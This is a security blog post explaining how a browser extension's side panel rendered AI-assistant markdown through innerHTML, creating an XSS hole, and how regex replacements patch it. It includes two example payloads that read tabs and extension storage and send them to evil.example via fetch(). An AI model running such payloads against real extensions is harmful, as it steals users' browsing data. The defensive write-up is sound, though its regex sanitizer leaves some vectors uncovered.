Back to Blog
critical SEVERITY6 min read

How innerHTML XSS happens in JavaScript browser extensions and how to fix it

A cross-site scripting (XSS) vulnerability in `sidepanel/panel.js` allowed injected `<script>` tags and inline event handlers to execute inside a privileged browser extension context. The `renderChat` function passed markdown-rendered assistant content directly to `row.innerHTML` without stripping dangerous HTML patterns. The fix applies targeted regex sanitization to remove script blocks and `on*` event handler attributes before the content reaches the DOM.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published August 26, 2026•Reviewed August 26, 2026

Answer Summary

This is a Cross-Site Scripting (XSS) vulnerability (CWE-79) in a browser extension's `sidepanel/panel.js` file, where the `renderChat` function assigned markdown-rendered HTML directly to `row.innerHTML` without sanitizing `<script>` tags or inline event handlers. Because the code runs in a privileged extension context, a malicious website or tampered data source could inject JavaScript that executes with extension-level permissions. The fix adds two chained `.replace()` calls to strip `<script>...</script>` blocks and `on*="..."` attribute patterns from the rendered output before it is written to the DOM.

Vulnerability at a Glance

cweCWE-79
fixChain `.replace()` calls on the `renderMarkdown()` output to remove script blocks and `on*` attributes before DOM insertion
riskAttacker-controlled script execution inside a privileged browser extension context
languageJavaScript
root causeMarkdown-rendered HTML assigned to `row.innerHTML` without stripping `<script>` tags or inline event handlers
vulnerabilityCross-Site Scripting (XSS) via unsafe innerHTML assignment

How innerHTML XSS Happens in JavaScript Browser Extensions and How to Fix It

Introduction

The sidepanel/panel.js file is the visual heart of this browser extension — it renders chat history, formats assistant responses, and displays them to the user. But inside the renderChat function, a single line quietly created a high-severity security hole: markdown-rendered content from an AI assistant was being written directly to row.innerHTML with no protection against embedded <script> tags or inline event handlers.

// Vulnerable code — line 1876 before the fix
row.innerHTML = renderMarkdown(m.content);

This matters because browser extensions operate in a privileged context. Unlike a normal web page sandboxed to its own origin, an extension's side panel can access extension APIs, interact with browser tabs, and read data that ordinary web content cannot touch. Any JavaScript that executes here does so with those elevated capabilities — making XSS in an extension far more dangerous than XSS on a typical website.


The Vulnerability Explained

What renderMarkdown produces — and why that's a problem

renderMarkdown() is a markdown-to-HTML converter. Its job is to take plain text like **bold** or # Heading and return formatted HTML. That's fine for legitimate markdown. But markdown renderers often pass through raw HTML — it's a feature, not a bug, in most implementations.

If the content of m.content (the assistant's message) contains something like:

<script>chrome.tabs.query({}, function(tabs){ fetch('https://evil.example/steal?t='+JSON.stringify(tabs)); });</script>

…then renderMarkdown() would return that string largely intact, and row.innerHTML = renderMarkdown(m.content) would inject it directly into the DOM, causing the browser to execute it.

The same risk applies to inline event handlers:

<img src="x" onerror="chrome.storage.local.get(null, d => fetch('https://evil.example/?d='+JSON.stringify(d)))">

Because onerror is a valid HTML attribute, the markdown renderer would not strip it, and the browser would fire it the moment the broken image tag is parsed.

The attack surface

The extension stores and replays chat history. A malicious website could craft a response that includes injected HTML payloads. If that response is saved and later displayed in the side panel, the payload executes in the extension context — potentially:

  • Exfiltrating browser history or open tabs via chrome.tabs
  • Reading extension storage via chrome.storage
  • Making credentialed requests on behalf of the user
  • Silently modifying extension settings

The existing escapeHtml() helper in the file is correctly applied to user-typed messages (the else branch uses row.textContent), but the assistant role branch bypassed this protection entirely in favor of rich formatting.


The Fix

What changed in renderChat

The fix is applied at line 1876 of sidepanel/panel.js. Here is the before/after comparison:

Before:

row.innerHTML = renderMarkdown(m.content);

After:

row.innerHTML = renderMarkdown(m.content)
  .replace(/<script[\s\S]*?<\/script>/gi, '')
  .replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '');

Breaking down the two .replace() calls

First replace — strips <script> blocks:

.replace(/<script[\s\S]*?<\/script>/gi, '')
  • <script[\s\S]*?<\/script> matches any <script>...</script> block, including multiline ones ([\s\S] matches newlines too)
  • The g flag removes all occurrences, not just the first
  • The i flag makes it case-insensitive (<SCRIPT>, <Script>, etc.)

Second replace — strips inline event handlers:

.replace(/\s+on\w+\s*=\s*(?:"[^"]*"|'[^']*')/gi, '')
  • \s+on\w+ matches any attribute starting with on (e.g., onerror, onclick, onmouseover)
  • \s*=\s*(?:"[^"]*"|'[^']*') matches both double- and single-quoted attribute values
  • This removes patterns like onerror="..." or onclick='...' from any tag in the rendered output

Together, these two patterns eliminate the two most common vectors for script injection through HTML: explicit <script> tags and event-handler attributes.

Why this approach is scoped correctly

The fix only touches the assistant message rendering path. The user message path already uses row.textContent, which is inherently safe. The change tightens one specific assignment without altering the markdown rendering logic or breaking legitimate formatting like bold, italics, headers, or code blocks.


Key Takeaways

  • The renderChat function in panel.js was the specific injection point — the assistant role branch used innerHTML while the user role branch safely used textContent, an inconsistency that created a blind spot.
  • Markdown renderers can pass through raw HTML, meaning renderMarkdown(m.content) is not a safe intermediary — its output must be treated as untrusted HTML.
  • Browser extension XSS is higher severity than web XSS because the injected code runs with extension-level API access, not just page-level access.
  • Regex sanitization is a valid short-term fix, but for long-term maintainability, replacing the two .replace() calls with DOMPurify provides broader coverage and easier auditability.
  • The existing escapeHtml() helper in the file was never applied to the assistant code path — always verify that sanitization helpers are applied consistently across all rendering branches, not just some of them.

How Orbis AppSec Detected This

  • Source: The m.content field of assistant messages in the chat history — content that originates from external AI responses or saved page data and is not controlled by the application.
  • Sink: row.innerHTML = renderMarkdown(m.content) at line 1876 of sidepanel/panel.js, inside the renderChat function's assistant role branch.
  • Missing control: No sanitization was applied to the output of renderMarkdown() before DOM insertion. The escapeHtml() helper defined elsewhere in the file was not used on this code path.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
  • Fix: Two chained .replace() calls were added to strip <script>...</script> blocks and on*="..." event handler attributes from the rendered HTML before it is assigned to row.innerHTML.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

A single innerHTML assignment in renderChat — one that looked reasonable on the surface because it was rendering formatted markdown — opened a path for script injection in a privileged browser extension context. The root cause was an inconsistency: user messages were protected by textContent, but assistant messages were not, leaving the rendering pipeline exposed to anything a markdown renderer would pass through.

The fix is targeted and effective: two regex replacements remove the two most exploitable HTML injection vectors (<script> blocks and on* event handlers) directly on the output of renderMarkdown(). For teams maintaining similar extension code, the lesson is clear — every innerHTML assignment deserves scrutiny, and markdown renderers are not sanitizers.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #17

Related Articles

critical

fast-xml-parser 4.5.0 XSS: DOCTYPE Entity Injection in XML.parse()

fast-xml-parser versions 4.5.0 and earlier fail to sanitize DOCTYPE entity declarations during XML parsing, allowing attackers to inject JavaScript through crafted XML payloads. The vulnerability permits reflected XSS in applications that process untrusted XML input. Upgrading to version 5.7.0 eliminates the unsafe entity expansion path.

high

sanitizeBangumiHtml() XSS Fix: insertAdjacentHTML RCE via JSON

A high-severity cross-site scripting vulnerability existed where untrusted JSON data from bangumis.json was rendered directly into the DOM using insertAdjacentHTML without sanitization. An attacker who could modify this external data source could execute arbitrary JavaScript in visitors' browsers. The fix introduces a dedicated sanitizeBangumiHtml() function that strips script tags, event handlers, and javascript: URLs before insertion.

high

form.js jQuery Selector Construction: CWE-79 Quote-Breaking Fix

A defense-in-depth fix in the form.js initialization routine eliminates a jQuery selector injection vector where user-controlled category data was concatenated directly into a string literal. The vulnerable pattern at lines 47-48 of the form handler could allow malicious content to break out of the selector's quoted context and execute arbitrary jQuery methods.

high

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.